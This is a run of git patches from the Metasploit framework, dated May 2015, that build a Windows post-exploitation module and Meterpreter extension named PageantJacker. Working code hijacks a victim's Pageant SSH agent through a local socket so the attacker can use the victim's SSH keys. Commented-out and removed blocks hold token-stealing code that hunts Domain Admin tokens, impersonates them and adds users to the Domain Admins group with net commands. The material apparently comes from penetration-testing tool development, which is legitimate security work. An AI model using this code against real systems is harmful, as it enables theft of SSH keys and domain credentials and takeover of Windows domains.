OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', true]) + ], self.class) + end + +# def get_system +# print_status("Trying to get SYSTEM privileges") +# results = session.priv.getsystem +# if results[0] +# print_good("Got SYSTEM privileges") +# else +# print_error("Could not obtain SYSTEM privileges") +# end +# end +# +# def priv_check +# if is_system? +# privs = session.sys.config.getprivs +# if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") +# return true +# else +# return false +# end +# elsif is_admin? +# return true +# else +# return false +# end +# end +# +# ## steal domain admin token +# ## return code: bool +# def steal_token(domain_user,domain) +# if session.sys.config.getuid() == domain_user or domain_user == '' +# return true +# end +# +# ## load incognito +# if(! session.incognito) +# session.core.use("incognito") +# end +# +# if(! session.incognito) +# print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") +# return false +# end +# +# ## verify domain_user contains a domain +# if domain_user !~ /\\/ +# domain_user = "#{domain}\\#{domain_user}" +# else +# domain_user = '' +# end +# +# ## token is a PID +# target_pid = '' +# if (datastore['TOKEN'] =~ /^\d+$/) +# pid = datastore['TOKEN'] +# +# session.sys.process.get_processes().sort_by { rand }.each do |x| +# if ( pid == x['pid']) +# target_pid = pid +# end +# end +# ## token is a Domain User +# else +# session.sys.process.get_processes().sort_by { rand }.each do |x| +# if ( x['user'] == domain_user and target_pid == '') +# target_pid = x['pid'] +# print_status("Found token for #{domain_user}") +# end +# end +# end +# +# if target_pid != '' +# # Do the migration +# print_status("Stealing token of process ID #{target_pid}") +# res = session.sys.config.steal_token(target_pid) +# if domain_user != '' +# domain_user = session.sys.config.getuid() +# else +# print_status("Stealing token of process ID #{target_pid}") +# res = session.sys.config.steal_token(target_pid) +# if domain_user != '' +# domain_user = session.sys.config.getuid() +# end +# end +# +# if session.sys.config.getuid() != domain_user +# print_error "Steal Token Failed (running as: #{session.sys.config.getuid()})" +# return false +# end +# else +# print_status("No process tokens found.") +# if (domain_user != '') +# vprint_status("Trying impersonate_token technique...") +# res = session.incognito.incognito_impersonate_token(domain_user) +# else +# return false +# end +# end +# +# return true +# end +# +# ## enumerate if the session has a domain admin token on it +# ## Return: token_found,token_user,current_user; otherwise false +# def token_hunter(domain) +# ## gather data +# usr_res = run_cmd("net groups \"Domain Admins\" /domain",false) +# domain_admins = get_members(usr_res.split("\n")) +# +# ## Make sure we meet the requirements before running the module +# if not priv_check +# print_error("Abort! Did not pass the priv check") +# return false +# end +# +# ## load incognito +# if(! session.incognito) +# session.core.use("incognito") +# end +# +# if(! session.incognito) +# print_error("!! Failed to load incognito on #{session.sid} / #{session.session_host}") +# return false +# end +# +# domain_admins.each do |da_user| +# ## current user +# if "#{domain}\\#{da_user}" == session.sys.config.getuid() +# print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)" +# return true,'',true +# end +# +# ## parse delegation tokens +# res = session.incognito.incognito_list_tokens(0) +# if res +# res["delegation"].split("\n").each do |user| +# ndom,nusr = user.split("\\") +# if not nusr +# nusr = ndom +# ndom = nil +# end +# if ndom == domain and da_user == nusr +# sid = session.sid +# peer = session.session_host +# print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)") +# return true,nusr,false +# end +# end +# end +# +# ## parse process list +# session.sys.process.get_processes().each do |x| +# if ( x['user'] == "#{domain}\\#{da_user}") +# target_pid = x['pid'] +# sid = session.sid +# peer = session.session_host +# report_note( +# :host => session, +# :type => 'domain.token.pid', +# :data => { :pid=>target_pid, :sid=>sid, :peer=>peer, :user=>da_user }, +# :update => :unique_data +# ) +# print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})") +# return true ,da_user, false +# end +# end +# end +# +# return false +# end +# +# # Run Method for when run command is issued +# def run +# print_status("Running module on #{sysinfo['Computer']}") +# +# ## get system, if requested +# if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM']) +# get_system +# end +# +# ## enum domain +# domain = get_domain() +# if domain.nil? +# return +# end +# +# ## steal token if neccessary +# if (datastore['TOKEN'] == '') +# token_found,token_user,current_user = token_hunter(domain) +# +# return if token_found == false +# +# datastore['TOKEN'] = token_user if current_user == false +# end +# +# ## steal token +# steal_token_res = steal_token(datastore['TOKEN'],domain) +# return if steal_token_res == false +# +# ## verify not running as SYSTEM +# if (session.sys.config.getuid() =~ /SYSTEM/) +# print_error("Stealing a Token failed! Still running as SYSTEM") +# return +# else +# print_status("Now executing commands as #{session.sys.config.getuid()}" ) +# end +# +# already_user = false +# already_member_group = false +# +# ## Add user to the domain +# if (datastore['ADDTODOMAIN'] == true) +# user_add_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) +# +# if (user_add_res =~ /The command completed successfully/ and user_add_res =~ /Domain Users/) +# print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain") +# already_user = true +# else +# cmd = "net user \"#{datastore['USERNAME']}\" \"#{datastore['PASSWORD']}\" /domain /add" +# print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain") +# add_user_to_domain_res = run_cmd(cmd) +# end +# end +# +# ## Add user to a domain group +# if datastore['ADDTOGROUP'] == true +# ## check if user is already a member of the group +# group_add_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) +# +# # Parse Returned data +# members = get_members(group_add_res.split("\n")) +# +# # Show results if we have any, Error if we don't +# if ! members.empty? +# members.each do |user| +# if (user == "#{datastore['USERNAME']}") +# print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group") +# already_member_group = true +# end +# end +# +# if already_member_group == false +# print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group") +# cmd = "net group \"#{datastore['GROUP']}\" \"#{datastore['USERNAME']}\" /domain /add" +# add_user_to_group_res = run_cmd(cmd) +# end +# end +# end +# +# ## drop token +# if (datastore['TOKEN'] != '') +# res = session.sys.config.drop_token +# end +# +# ## verify user was added to domain or domain group +# if datastore['ADDTOGROUP'] == true +# if already_member_group == false +# net_groups_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) +# +# # Parse Returned data +# members = get_members(net_groups_res.split("\n")) +# +# # Show results if we have any, Error if we don't +# if ! members.empty? +# members.each do |user| +# if (user == "#{datastore['USERNAME']}") +# print_good("#{datastore['USERNAME']} is now a member of the '#{datastore['GROUP']}' group!") +# return +# end +# end +# print_error("Error adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' group") +# return +# else +# print_error("No members found for #{datastore['GROUP']}") +# end +# end +# else +# if already_user == false +# net_user_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) +# +# if (net_user_res =~ /The command completed successfully/ and net_user_res =~ /Domain Users/) +# print_good("#{datastore['USERNAME']} is now a member of the #{domain} domain!") +# else +# print_error("Error adding '#{datastore['USERNAME']}' to the domain. Check the password complexity.") +# end +# end +# end +# end +# +# def get_members(results) +# members = [] +# +# # Usernames start somewhere around line 6 +# results = results.slice(6, results.length) +# # Get group members from the output +# results.each do |line| +# line.split(" ").compact.each do |user| +# next if user.strip == "" +# next if user =~ /-----/ +# next if user =~ /The command completed successfully/ +# members << user.strip +# end +# end +# +# return members +# end +# +# ## get value from registry key +# def reg_getvaldata(key,valname) +# value = nil +# begin +# root_key, base_key = client.sys.registry.splitkey(key) +# open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) +# v = open_key.query_value(valname) +# value = v.data +# open_key.close +# end +# return value +# end +# +# ## return primary domain from the registry +# def get_domain() +# domain = nil +# begin +# subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" +# v_name = "DCName" +# dom_info = reg_getvaldata(subkey, v_name) +# if not dom_info.nil? and dom_info =~ /\./ +# foo = dom_info.split('.') +# domain = foo[1].upcase +# else +# print_error("Error parsing output from the registry. (#{dom_info})") +# end +# rescue +# print_error("This host is not part of a domain.") +# end +# return domain +# end +# +# ## execute cmd and return the response +# ## is required since we need to use the 'UseThreadToken' hash +# def run_cmd(cmd,token=true) +# opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} +# process = session.sys.process.execute(cmd, nil, opts) +# res = "" +# while (d = process.channel.read) +# break if d == "" +# res << d +# end +# process.channel.close +# process.close +# return res +# end +end From a37714379d6820dc260d053cd201defa21d1b7d7 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 09:55:38 +0100 Subject: [PATCH 0066/2172] Working version --- .../post/windows/manage/forward_pageant.rb | 57 +++++++++++++++---- 1 file changed, 47 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index e6efc4a120..263b7c3509 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'rex' +require 'tmpdir' class Metasploit3 < Msf::Post @@ -21,16 +22,52 @@ class Metasploit3 < Msf::Post 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) - register_options( - [ - OptString.new('USERNAME', [true, 'Username to add to the Domain or Domain Group', '']), - OptString.new('PASSWORD', [false, 'Password of the user (only required to add a user to the domain)', '']), - OptString.new('GROUP', [true, 'Domain Group to add the user into.', 'Domain Admins']), - OptBool.new('ADDTOGROUP', [true, 'Add user into Domain Group', false]), - OptBool.new('ADDTODOMAIN', [true, 'Add user to the Domain', true]), - OptString.new('TOKEN', [false, 'Username or PID of the Token which will be used. If blank, Domain Admin Tokens will be enumerated. (Username doesnt require a Domain)', '']), - OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', true]) - ], self.class) + #register_options( + # [ + # ], self.class) + end + + def run + + ## load incognito + if(!session.pageantjacker) + session.core.use("pageantjacker") + end + + if(!session.pageantjacker) + print_status("Failed to load pageantjacker on #{session.sid} (#{session.session_host})") + return false + end + + sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + if ::File.exists?(sockpath) + print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") + return false + end + + ::UNIXServer.open(sockpath) {|serv| + print_status("Launched listening socket on #{sockpath}.") + print_status("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") + print_status("Now use any tool normally (e.g. ssh-add)") + + loop { + s = serv.accept + loop { + socket_request_data = s.recvfrom(8192) + break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? + response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) + s.send response_data,0 if !response_data.nil? + } + } + } + + if ::File.exists?(sockpath) + print_line("Cleaning up; removing #{sockpath}") + ::File.delete(sockpath) + else + print_line("Unable to remove socket #{sockpath}") + end + end # def get_system From b749d44c6a39f00d36fb1a09e29c3f86bd9bed86 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 10:00:50 +0100 Subject: [PATCH 0067/2172] Tidied up working version, logic has now moved to a POST module --- .../extensions/pageantjacker/pageantjacker.rb | 24 +- .../command_dispatcher/pageantjacker.rb | 88 ++--- .../post/windows/manage/forward_pageant.rb | 359 +----------------- 3 files changed, 60 insertions(+), 411 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb index 56a179e466..ca5fa7dfc6 100644 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -45,8 +45,8 @@ class Pageantjacker < Extension returned_blob = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_RETURNEDBLOB) error = response.get_tlv_value(TLV_TYPE_EXTENSION_PAGEANTJACKER_ERRORMESSAGE) - puts "Response success: #{response_success}, Response error #{error}" - parse_blob(returned_blob) +# puts "Response success: #{response_success}, Response error #{error}" +# parse_blob(returned_blob) if response_success # puts "Received successful response: #{returned_blob.size}" @@ -61,17 +61,17 @@ class Pageantjacker < Extension return nil end - def parse_blob(blob) - b = blob.unpack('NCH*') - puts " blob size #{blob.size}" - puts " blob data (20 chars: #{blob.unpack('H20').first}" - puts " ssh packet size: #{b[0]}" - puts " ssh type: #{b[1]}" - puts " ssh data: #{b[2]}" - end +# def parse_blob(blob) +# b = blob.unpack('NCH*') +# puts " blob size #{blob.size}" +# puts " blob data (20 chars: #{blob.unpack('H20').first}" +# puts " ssh packet size: #{b[0]}" +# puts " ssh type: #{b[1]}" +# puts " ssh data: #{b[2]}" +# end - def stop_listening - end +# def stop_listening +# end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb index 326ddcc6e6..4c03250144 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb @@ -34,54 +34,54 @@ class Console::CommandDispatcher::PageantJacker # def commands { - "start_pageant_forwarding" => "Create a local socket and forward all requests to the remote Pageant", + #"start_pageant_forwarding" => "Create a local socket and forward all requests to the remote Pageant", } end - def cmd_start_pageant_forwarding(*args) - sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" - sockpath = "/tmp/parp" - ::File.delete sockpath - if ::File.exists?(sockpath) - print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") - return - end +# def cmd_start_pageant_forwarding(*args) +# sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" +# sockpath = "/tmp/parp" +# ::File.delete sockpath +# if ::File.exists?(sockpath) +# print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") +# return +# end +# +# ::UNIXServer.open(sockpath) {|serv| +# print_line("Launched listening socket on #{sockpath}.") +# print_line("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") +# print_line("Now use any tool normally (e.g. ssh-add)") +# +# loop { +# s = serv.accept +# loop { +# socket_request_data = s.recvfrom(8192) +# break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? +# +# #puts socket_request_data.first.inspect +# #puts socket_request_data.first.unpack('NCH*') +# +# #puts 'Request' +# response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) +# +# if !response_data.nil? +# #puts "Response Data\n" +# #resp = response_data.unpack('NCH*') +# #puts "resp size #{resp[0]} resp type: #{resp[1]} actual_size #{resp[2].size+5}" +# #puts "resp #{resp[2].unpack('H*').first}" +# s.send response_data,0 +# end +# } +# } +# } - ::UNIXServer.open(sockpath) {|serv| - print_line("Launched listening socket on #{sockpath}.") - print_line("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") - print_line("Now use any tool normally (e.g. ssh-add)") - - loop { - s = serv.accept - loop { - socket_request_data = s.recvfrom(8192) - break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? - - #puts socket_request_data.first.inspect - #puts socket_request_data.first.unpack('NCH*') - - #puts 'Request' - response_data = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size) - - if !response_data.nil? - #puts "Response Data\n" - #resp = response_data.unpack('NCH*') - #puts "resp size #{resp[0]} resp type: #{resp[1]} actual_size #{resp[2].size+5}" - #puts "resp #{resp[2].unpack('H*').first}" - s.send response_data,0 - end - } - } - } - - if ::File.exists?(sockpath) - print_line("Cleaning up; removing #{sockpath}") - ::File.delete(sockpath) - else - print_line("Unable to remove socket #{sockpath}") - end - end +# if ::File.exists?(sockpath) +# print_line("Cleaning up; removing #{sockpath}") +# ::File.delete(sockpath) +# else +# print_line("Unable to remove socket #{sockpath}") +# end +# end # @@command_opts = Rex::Parser::Arguments.new( diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index 263b7c3509..cb93df771e 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -35,13 +35,13 @@ class Metasploit3 < Msf::Post end if(!session.pageantjacker) - print_status("Failed to load pageantjacker on #{session.sid} (#{session.session_host})") + print_error("Failed to load pageantjacker on #{session.sid} (#{session.session_host})") return false end sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" if ::File.exists?(sockpath) - print_line("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") + print_error("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") return false end @@ -62,363 +62,12 @@ class Metasploit3 < Msf::Post } if ::File.exists?(sockpath) - print_line("Cleaning up; removing #{sockpath}") + print_status("Cleaning up; removing #{sockpath}") ::File.delete(sockpath) else - print_line("Unable to remove socket #{sockpath}") + print_status("Unable to remove socket #{sockpath}") end end -# def get_system -# print_status("Trying to get SYSTEM privileges") -# results = session.priv.getsystem -# if results[0] -# print_good("Got SYSTEM privileges") -# else -# print_error("Could not obtain SYSTEM privileges") -# end -# end -# -# def priv_check -# if is_system? -# privs = session.sys.config.getprivs -# if privs.include?("SeAssignPrimaryTokenPrivilege") and privs.include?("SeIncreaseQuotaPrivilege") -# return true -# else -# return false -# end -# elsif is_admin? -# return true -# else -# return false -# end -# end -# -# ## steal domain admin token -# ## return code: bool -# def steal_token(domain_user,domain) -# if session.sys.config.getuid() == domain_user or domain_user == '' -# return true -# end -# -# ## load incognito -# if(! session.incognito) -# session.core.use("incognito") -# end -# -# if(! session.incognito) -# print_status("!! Failed to load incognito on #{session.sid} / #{session.session_host}") -# return false -# end -# -# ## verify domain_user contains a domain -# if domain_user !~ /\\/ -# domain_user = "#{domain}\\#{domain_user}" -# else -# domain_user = '' -# end -# -# ## token is a PID -# target_pid = '' -# if (datastore['TOKEN'] =~ /^\d+$/) -# pid = datastore['TOKEN'] -# -# session.sys.process.get_processes().sort_by { rand }.each do |x| -# if ( pid == x['pid']) -# target_pid = pid -# end -# end -# ## token is a Domain User -# else -# session.sys.process.get_processes().sort_by { rand }.each do |x| -# if ( x['user'] == domain_user and target_pid == '') -# target_pid = x['pid'] -# print_status("Found token for #{domain_user}") -# end -# end -# end -# -# if target_pid != '' -# # Do the migration -# print_status("Stealing token of process ID #{target_pid}") -# res = session.sys.config.steal_token(target_pid) -# if domain_user != '' -# domain_user = session.sys.config.getuid() -# else -# print_status("Stealing token of process ID #{target_pid}") -# res = session.sys.config.steal_token(target_pid) -# if domain_user != '' -# domain_user = session.sys.config.getuid() -# end -# end -# -# if session.sys.config.getuid() != domain_user -# print_error "Steal Token Failed (running as: #{session.sys.config.getuid()})" -# return false -# end -# else -# print_status("No process tokens found.") -# if (domain_user != '') -# vprint_status("Trying impersonate_token technique...") -# res = session.incognito.incognito_impersonate_token(domain_user) -# else -# return false -# end -# end -# -# return true -# end -# -# ## enumerate if the session has a domain admin token on it -# ## Return: token_found,token_user,current_user; otherwise false -# def token_hunter(domain) -# ## gather data -# usr_res = run_cmd("net groups \"Domain Admins\" /domain",false) -# domain_admins = get_members(usr_res.split("\n")) -# -# ## Make sure we meet the requirements before running the module -# if not priv_check -# print_error("Abort! Did not pass the priv check") -# return false -# end -# -# ## load incognito -# if(! session.incognito) -# session.core.use("incognito") -# end -# -# if(! session.incognito) -# print_error("!! Failed to load incognito on #{session.sid} / #{session.session_host}") -# return false -# end -# -# domain_admins.each do |da_user| -# ## current user -# if "#{domain}\\#{da_user}" == session.sys.config.getuid() -# print_good "Found Domain Admin Token: #{session.sid} - #{session.session_host} - #{da_user} (Current User)" -# return true,'',true -# end -# -# ## parse delegation tokens -# res = session.incognito.incognito_list_tokens(0) -# if res -# res["delegation"].split("\n").each do |user| -# ndom,nusr = user.split("\\") -# if not nusr -# nusr = ndom -# ndom = nil -# end -# if ndom == domain and da_user == nusr -# sid = session.sid -# peer = session.session_host -# print_good("Found Domain Admin Token: #{sid} - #{peer} - #{nusr} (Delegation Token)") -# return true,nusr,false -# end -# end -# end -# -# ## parse process list -# session.sys.process.get_processes().each do |x| -# if ( x['user'] == "#{domain}\\#{da_user}") -# target_pid = x['pid'] -# sid = session.sid -# peer = session.session_host -# report_note( -# :host => session, -# :type => 'domain.token.pid', -# :data => { :pid=>target_pid, :sid=>sid, :peer=>peer, :user=>da_user }, -# :update => :unique_data -# ) -# print_good("Found Domain Admin Token: #{sid} - #{peer} - #{da_user} (PID: #{target_pid})") -# return true ,da_user, false -# end -# end -# end -# -# return false -# end -# -# # Run Method for when run command is issued -# def run -# print_status("Running module on #{sysinfo['Computer']}") -# -# ## get system, if requested -# if (session.sys.config.getuid() !~ /SYSTEM/ and datastore['GETSYSTEM']) -# get_system -# end -# -# ## enum domain -# domain = get_domain() -# if domain.nil? -# return -# end -# -# ## steal token if neccessary -# if (datastore['TOKEN'] == '') -# token_found,token_user,current_user = token_hunter(domain) -# -# return if token_found == false -# -# datastore['TOKEN'] = token_user if current_user == false -# end -# -# ## steal token -# steal_token_res = steal_token(datastore['TOKEN'],domain) -# return if steal_token_res == false -# -# ## verify not running as SYSTEM -# if (session.sys.config.getuid() =~ /SYSTEM/) -# print_error("Stealing a Token failed! Still running as SYSTEM") -# return -# else -# print_status("Now executing commands as #{session.sys.config.getuid()}" ) -# end -# -# already_user = false -# already_member_group = false -# -# ## Add user to the domain -# if (datastore['ADDTODOMAIN'] == true) -# user_add_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) -# -# if (user_add_res =~ /The command completed successfully/ and user_add_res =~ /Domain Users/) -# print_status("#{datastore['USERNAME']} is already a member of the #{domain} domain") -# already_user = true -# else -# cmd = "net user \"#{datastore['USERNAME']}\" \"#{datastore['PASSWORD']}\" /domain /add" -# print_status("Adding '#{datastore['USERNAME']}' as a user to the #{domain} domain") -# add_user_to_domain_res = run_cmd(cmd) -# end -# end -# -# ## Add user to a domain group -# if datastore['ADDTOGROUP'] == true -# ## check if user is already a member of the group -# group_add_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) -# -# # Parse Returned data -# members = get_members(group_add_res.split("\n")) -# -# # Show results if we have any, Error if we don't -# if ! members.empty? -# members.each do |user| -# if (user == "#{datastore['USERNAME']}") -# print_status("#{datastore['USERNAME']} is already a member of the '#{datastore['GROUP']}' group") -# already_member_group = true -# end -# end -# -# if already_member_group == false -# print_status("Adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' Domain Group") -# cmd = "net group \"#{datastore['GROUP']}\" \"#{datastore['USERNAME']}\" /domain /add" -# add_user_to_group_res = run_cmd(cmd) -# end -# end -# end -# -# ## drop token -# if (datastore['TOKEN'] != '') -# res = session.sys.config.drop_token -# end -# -# ## verify user was added to domain or domain group -# if datastore['ADDTOGROUP'] == true -# if already_member_group == false -# net_groups_res = run_cmd("net groups \"#{datastore['GROUP']}\" /domain",false) -# -# # Parse Returned data -# members = get_members(net_groups_res.split("\n")) -# -# # Show results if we have any, Error if we don't -# if ! members.empty? -# members.each do |user| -# if (user == "#{datastore['USERNAME']}") -# print_good("#{datastore['USERNAME']} is now a member of the '#{datastore['GROUP']}' group!") -# return -# end -# end -# print_error("Error adding '#{datastore['USERNAME']}' to the '#{datastore['GROUP']}' group") -# return -# else -# print_error("No members found for #{datastore['GROUP']}") -# end -# end -# else -# if already_user == false -# net_user_res = run_cmd("net user \"#{datastore['USERNAME']}\" /domain",false) -# -# if (net_user_res =~ /The command completed successfully/ and net_user_res =~ /Domain Users/) -# print_good("#{datastore['USERNAME']} is now a member of the #{domain} domain!") -# else -# print_error("Error adding '#{datastore['USERNAME']}' to the domain. Check the password complexity.") -# end -# end -# end -# end -# -# def get_members(results) -# members = [] -# -# # Usernames start somewhere around line 6 -# results = results.slice(6, results.length) -# # Get group members from the output -# results.each do |line| -# line.split(" ").compact.each do |user| -# next if user.strip == "" -# next if user =~ /-----/ -# next if user =~ /The command completed successfully/ -# members << user.strip -# end -# end -# -# return members -# end -# -# ## get value from registry key -# def reg_getvaldata(key,valname) -# value = nil -# begin -# root_key, base_key = client.sys.registry.splitkey(key) -# open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) -# v = open_key.query_value(valname) -# value = v.data -# open_key.close -# end -# return value -# end -# -# ## return primary domain from the registry -# def get_domain() -# domain = nil -# begin -# subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" -# v_name = "DCName" -# dom_info = reg_getvaldata(subkey, v_name) -# if not dom_info.nil? and dom_info =~ /\./ -# foo = dom_info.split('.') -# domain = foo[1].upcase -# else -# print_error("Error parsing output from the registry. (#{dom_info})") -# end -# rescue -# print_error("This host is not part of a domain.") -# end -# return domain -# end -# -# ## execute cmd and return the response -# ## is required since we need to use the 'UseThreadToken' hash -# def run_cmd(cmd,token=true) -# opts = {'Hidden' => true, 'Channelized' => true, 'UseThreadToken' => token} -# process = session.sys.process.execute(cmd, nil, opts) -# res = "" -# while (d = process.channel.read) -# break if d == "" -# res << d -# end -# process.channel.close -# process.close -# return res -# end end From a4fc8aefd5dda8856264ca4b2729f9f4147063bc Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 10:21:08 +0100 Subject: [PATCH 0068/2172] Working, tested & cleans up after itself --- .../extensions/pageantjacker/pageantjacker.rb | 5 ++-- .../post/windows/manage/forward_pageant.rb | 26 ++++++++++--------- 2 files changed, 17 insertions(+), 14 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb index ca5fa7dfc6..774a256e11 100644 --- a/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb +++ b/lib/rex/post/meterpreter/extensions/pageantjacker/pageantjacker.rb @@ -33,9 +33,10 @@ class Pageantjacker < Extension def forward_to_pageant(blob,size) return unless size > 0 return unless blob.size > 0 - puts "Request indicated size: #{size}" - parse_blob(blob) + #puts "Request indicated size: #{size}" + #parse_blob(blob) + # Create the packet packet_request = Packet.create_request('pageant_send_query') packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_SIZE_IN, size) packet_request.add_tlv(TLV_TYPE_EXTENSION_PAGEANTJACKER_BLOB_IN, blob) diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index cb93df771e..1a73cecb8e 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -31,23 +31,24 @@ class Metasploit3 < Msf::Post ## load incognito if(!session.pageantjacker) + print_status("Loading PageantJacker extension on #{session.sid} (#{session.session_host})") session.core.use("pageantjacker") end if(!session.pageantjacker) - print_error("Failed to load pageantjacker on #{session.sid} (#{session.session_host})") + print_error("Failed to load PageantJacker on #{session.sid} (#{session.session_host})") return false end - sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" - if ::File.exists?(sockpath) - print_error("Your requested socket (#{sockpath}) already exists. Remove it or choose another path and try again.") + @sockpath = "#{::Dir::Tmpname.tmpdir}/#{::Dir::Tmpname.make_tmpname('pageantjacker', 5)}" + if ::File.exists?(@sockpath) + print_error("Your requested socket (#{@sockpath}) already exists. Remove it or choose another path and try again.") return false end - ::UNIXServer.open(sockpath) {|serv| - print_status("Launched listening socket on #{sockpath}.") - print_status("Set your SSH_AUTH_SOCK variable to #{sockpath} (export SSH_AUTH_SOCK=\"#{sockpath}\"") + ::UNIXServer.open(@sockpath) {|serv| + print_status("Launched listening socket on #{@sockpath}.") + print_status("Set SSH_AUTH_SOCK variable to #{@sockpath} (e.g. export SSH_AUTH_SOCK=\"#{@sockpath}\")") print_status("Now use any tool normally (e.g. ssh-add)") loop { @@ -61,11 +62,12 @@ class Metasploit3 < Msf::Post } } - if ::File.exists?(sockpath) - print_status("Cleaning up; removing #{sockpath}") - ::File.delete(sockpath) - else - print_status("Unable to remove socket #{sockpath}") + end + + def cleanup + + if ::File.exists?(@sockpath) + ::File.delete(@sockpath) end end From e152ceb05dceec1ec8a7095c00758221b4d6c781 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Tue, 19 May 2015 10:33:32 +0100 Subject: [PATCH 0069/2172] Tidied up code, added MWR labs logo --- .../command_dispatcher/pageantjacker.rb | 136 +++--------------- .../post/windows/manage/forward_pageant.rb | 4 +- 2 files changed, 18 insertions(+), 122 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb index 4c03250144..4a0c7d57c1 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/pageantjacker.rb @@ -10,7 +10,7 @@ require 'tmpdir' ### # -# PageantJacker extension - Hijack Pageant +# PageantJacker extension # ### class Console::CommandDispatcher::PageantJacker @@ -21,135 +21,31 @@ class Console::CommandDispatcher::PageantJacker def initialize(shell) super + print_line + print_line + print_line(" .mMMMMMm. mMMm M WWW W W RRRRR") + print_line(" mMMMMMMMMMMM. MM MM W W W R R") + print_line(" /MMMM- -MM. MM MM W W W R R") + print_line(" /MMM. _ \/ ^ M M M M W W W W RRRR") + print_line(" |M. aRRr /W| M M M M W W W W R R") + print_line(" \/ .. ^^^ wWWW| M M M W W 